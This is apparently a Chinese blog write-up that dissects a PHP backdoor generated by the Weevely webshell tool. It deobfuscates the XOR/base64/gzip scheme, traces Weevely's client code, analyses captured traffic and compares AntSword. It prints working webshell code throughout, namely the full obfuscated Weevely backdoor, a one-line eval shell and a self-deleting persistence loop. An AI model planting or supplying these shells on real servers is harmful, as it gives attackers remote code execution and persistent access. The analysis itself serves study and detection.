0
通过weevely生成了一个php后门文件
1
2
3
4
5
6
7
8
9
10
|
<?php
$u='){$o8i.=$t{$i}^$k{$j8i};}8i}re8itu8irn $o;}if (@preg8i_m8iatch("/$k8ih8i(.+)$8ik8if8i/",@file_get_contents("p8ihp://8ii8';
$v='input"),$m)8i==1) 8i{@o8ib_start()8i;@eva8il8i(@gzuncompre8iss(@x(@8ibas8ie64_de8icode8i($8im[1]8i),8i$k))8i);$o=@ob_ge';
$h='t_content8is();@ob8i_end_cle8ia8in();$r=8i@ba8ise8i64_encode(@x(@gzco8impr8ies8is(8i$o),$k));prin8it(8i"$p$kh$r$kf");}';
$d=str_replace('D','','cDrDeDaDDte_fuDnction');
$k='$k)8i{$c=strlen($k)8i;$8il=st8irlen($t);$8i8i8io="";for($i=08i;$i<$l;8i){fo8ir($8ij=0;($j<$c&&$i8i<$l);8i$j+8i+,$i+8i+';
$Y='$k="88i8ic319f28";8i$kh8i="d81d1527a8i942"8i;$kf="8e98ia5c2195f5"8i;8i$p="ZnC8it8iZbYs8iDzbbdvRw";8ifunction 8ix($t,8i';
$A=str_replace('8i','',$Y.$k.$u.$v.$h);
$b=$d('',$A);$b();
?>
|
不算难理解,分解一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
//第一部分:
$u='){$o8i.=$t{$i}^$k{$j8i};}8i}re8itu8irn $o;}if (@preg8i_m8iatch("/$k8ih8i(.+)$8ik8if8i/",@file_get_contents("p8ihp://8ii8';
$v='input"),$m)8i==1) 8i{@o8ib_start()8i;@eva8il8i(@gzuncompre8iss(@x(@8ibas8ie64_de8icode8i($8im[1]8i),8i$k))8i);$o=@ob_ge';
$h='t_content8is();@ob8i_end_cle8ia8in();$r=8i@ba8ise8i64_encode(@x(@gzco8impr8ies8is(8i$o),$k));prin8it(8i"$p$kh$r$kf");}';
$k='$k)8i{$c=strlen($k)8i;$8il=st8irlen($t);$8i8i8io="";for($i=08i;$i<$l;8i){fo8ir($8ij=0;($j<$c&&$i8i<$l);8i$j+8i+,$i+8i+';
$Y='$k="88i8ic319f28";8i$kh8i="d81d1527a8i942"8i;$kf="8e98ia5c2195f5"8i;8i$p="ZnC8it8iZbYs8iDzbbdvRw";8ifunction 8ix($t,8i';
$A=str_replace('8i','',$Y.$k.$u.$v.$h);
//第二部分
$d=str_replace('D','','cDrDeDaDDte_fuDnction');
$b=$d('',$A);
$b();
?>
|
第一部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
$k="8c319f28";
$kh="d81d1527a942";
$kf="8e9a5c2195f5";
$p="ZnCtZbYsDzbbdvRw";
function x($t, $k) {
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t{$i} ^ $k{$j};
}
}
return $o;
}
if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();//获取当前缓冲区的内容,并返回缓冲区的数据
@ob_end_clean();//停止输出缓冲并清空缓冲区的内容,同时关闭输出缓冲区
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");}
|
if
"/$kh(.+)$kf/"
()
标记一个子表达式的开始和结束位置。
.
匹配除换行符之外的任何单个字符
+
匹配前面的子表达式0次或者多次
写一个例子来理解:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
$k = 'cr';
$s = 'ke';
$a = 'cream soda you know i like it like that ';
$c = preg_match("/$k(.+)$s/", $a, $cc);
var_dump($cc);
/*结果:
array(2) {
[0] =>
string(34) "cream soda you know i like it like"
[1] =>
string(30) "eam soda you know i like it li"
}
*/
|
所以整个正则表达式的意思其实是:匹配$k
开头的$s
结尾的,中间的任意的字符串。
这其中需要注意的是:$cc
存储了两个元素:
• 第一个元素$cc[0]
,用来存储按照表达式匹配到的完整字符串,也就是***cream soda you know i like it like
__,可以看到,和原字符串对比,少了结尾的_that_
• 第二个元素$cc[1]
,用来存储捕获组匹配到的内容,也就是eam soda you know i like it li
,少了开头的_cr⇒$k*,结尾的_ke⇒$s
@file_get_contents
一个php函数,加上了@隐藏报错
将 整个文件读入一个字符串
php://input
是一个只读流, 从请求正文中读取原始数据
合起来意思就是:从请求中读取内容。
所以对于第一句条件 @preg_match**(**"/$kh(.+)$kf/",@file_get_contents**(**"php://input"**)**,$m**)**==1**)**
:
-
如果在post请求中匹配到 $kh(.+)$kf ,就存入 $m 中
-
然后ob_start()
• ob_start() 是 PHP 中的一个函数,用于开启输出缓冲。
• 在 PHP 中,当输出到浏览器或者其他输出目标时,通常是立即发送给客户端的。但有时候,我们可能希望先将输出内容暂时存储起来,等待进一步处理或者在某个时机再发送给客户端,这时就可以使用输出缓冲。
•ob_start() 函数的作用就是开启输出缓冲。
• 一旦调用了 ob_start(),PHP 将会把后续所有的输出都缓冲起来,而不会立即发送到浏览器。
• 当需要将缓冲内容发送到浏览器时,可以使用 ob_end_flush() 或者 ob_flush() 函数来完成。
• 使用输出缓冲的一个常见场景是,当需要在 PHP 脚本中生成一些输出内容,但又希望在输出之前对其进行处理,比如对输出内容进行压缩、修改或者日志记录等操作时。
function x
AKA异或操作函数
异或:主要用来判断两个值是否不同
1
2
3
4
5
6
7
8
9
10
11
12
13
|
原始版本
0 ^ 0 = 0
0 ^ 1 = 1
1 ^ 0 = 1
1 ^ 1 = 0
字符版本
a ^ b ^ c ^ a ^ b
= a ^ a ^ b ^ b ^ c
= 0 ^ 0 ^ c
= c
|
文本串行的每个字符可以通过与给定的密钥进行 按位异或运算来加密。
如果要解密,只需要将加密后的结果与密钥再次 进行按位异或运算即可。
举例:
- 第一次异或结果:string(10) “一串乱码(bushi)”
- 第二次异或结果:string(10) “wild wagei”
剩下的
- @gzuncompress: 用于解压缩经过gzip压缩的字符串。
- @base64_decode: 用于对经过base64编码的数据进行解码。
- @base64_encode:对数据进行base64编码。
第二部分
1
2
3
|
$d=str_replace('D','','cDrDeDaDDte_fuDnction');//替换之后得到create_function
$b=$d('',$A);
$b();
|
create_function
是 PHP 中的一个函数,用于动态创建一个匿名函数(lambda 函数)。
通过 **create_function**
函数,可以根据传入的参数和代码字符串创建一个匿名函数,并返回一个唯一的函数名。
查了一下官方手册,写了一个demo进行理解
1
2
3
4
5
|
$newfunc = create_function('', 'echo "Hello, World!";');
$newfunc(); // 输出 Hello, World!
$func = create_function('$arg1, $arg2', '');
$result = $func(1, 2); // 这个调用不会执行任何操作,因为函数体为空
|
所以第一部分就是:
- 替换之后得到create_function
$A
作为函数体进行执行
- 结果存入
$b
$b
执行
Weevelt code
- bd:提供后门代码生成模板
- core:核心生成与连接处理代码
- modules:可运行指令的处理模板
- utills:没看
- weevely.py:index文件
通读是不可能的,所以使用报错找到调用链——修改了生成的后门文件进行连接操作
…………
所以就在图上了。
下面直接写重点函数
加密obfpost.py
__init__(self, url, password)
将得到的密码参数进行md5,十六进制、小写处理后,得到一个32位的”乱码“
- 前8位作为
shared_key
- 中间12位作为
header
- 最后12位作为
trailer
所以按照这个思路写一个demo
1
2
3
4
5
6
|
password = 'smart'
passwordhash = haslib.md5(password).hexdigest().lower()
shared_key = passwordhash[:8].encode('utf-8')
header = passwordhash[8:20].encode('utf-8')
trailer = passwordhash[20:32].encode('utf-8')
|
得到的结果是
1
2
3
4
5
|
passwordhash: 8c319f28d81d1527a9428e9a5c2195f5
shared_key: 8c319f28
header: d81d1527a942
trailer: 8e9a5c2195f5
|
回到最开始的生成的后门文件中,
1
2
3
4
|
$k="8c319f28";
$kh="d81d1527a942";
$kf="8e9a5c2195f5";
$p="ZnCtZbYsDzbbdvRw";//后面会解释是什么
|
可以发现前三个都对应上了。
send()
也不算难理解
不过最后一句是关键,也是整个payload的拆解关键
提一下第一张图片中的两句
由字符集string.printable
(包含ASCII 可打印 字符的全部字符,即包括数字、大小写字母、 标点符号和空格)中的随机字符组成的长度 为 16 的字符串
简单说就是,PREPEND
和APPEND
的值都是随机的,长度均为16
于是按照第二张图的思路:
这里的原始payload是@eval(phpinfo())
经过xor、obfuscated、wrappped之后,得到了最后会发送出去的payload。
关于如何发送payload的
opener = urllib.request.build_opener(*additional_handlers)
:发送payload并获取响应内容
获取到的响应又通过
1
2
3
4
5
|
response = zlib.decompress(
utils.string.sxor(
base64.b64decode(matched.group(1)),
self.shared_key)
)
|
进行解码。
和生成的后门文件一个逻辑。
所以那边也是,接收到payload后,解码并执行,也就是
1
2
3
|
$d=str_replace('D','','cDrDeDaDDte_fuDnction');
$b=$d('',$A);
$b();
|
这部分的意义。
流量分析
攻击者发给受害者
一个编写好的目录遍历命令:
其解码后内容是:
1
2
3
4
5
6
7
8
9
10
11
|
chdir('xxx\xx');@error_reporting(0);
$p=".";
if(@is_dir($p)){
$d=@opendir($p);
$a=arrray();
if($d){
while(($f=@readdir($d))) $a[]=$f;
sort($a);
print(join(PHP_EOL,$a));
}
}
|
ps:这个是file_ls
功能的代码,不是自己写的。
受害者发给攻击者
于是这是返回过来的信息
解码之后得到:
番外1-与antisword的对比(easiest version)
后门文件
antisword的常用后门就是一句话木马系列
1
|
<?php @eval($_REQUEST['cmd']); ?>
|
与weeevely的相比:
- 简洁程度不是一倍两倍
- 被抓到的容易程度也不是一倍两倍。
流量分析
这是抓取的流量中,antisword发送的代码的部分内容
- 流量分析得到antisword发送的 post内容——只是简单的进行了 URL编码
- 可以看出来是一个对目录进行遍 历以及获取,最后将数据返回的 代码
- 将进行处理的代码在post中传输, 而weevely是将其写入后门文件
返回的流量分析:
截断符号进行获取数据流, 十六进制转换二进制
比起weevely的异或、base64、 gzip,简洁很多
解码后:
总结
Weevely: 完全始祖版本^^
**Antisword**:
- 后门文件更友好,同时也很容易被识别 (最基础版本)
- 因为后门中没有特别多涉及处理代码, 所以被发现,也顶多知道攻击者通过这 个后门文件得到了什么,而不是得到其 逆向处理逻辑。
番外2-内存马
1
2
3
4
5
6
7
8
9
10
|
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE___);
while(1){
$content = '<?php @eval($_POST["123"]) ?>';
file_put_contents("11.php", $content);
usleep(10000);
}
?>
|
一个典型的PHP内存马
与前面的木马对比,最大的 特点和优势就是:
- 存在于内 存中,不需要文件落地。
- 这 也意味着很难被查杀。
参考
Weevelywebshelll协议分析文档
weevely code
蚁剑流量分析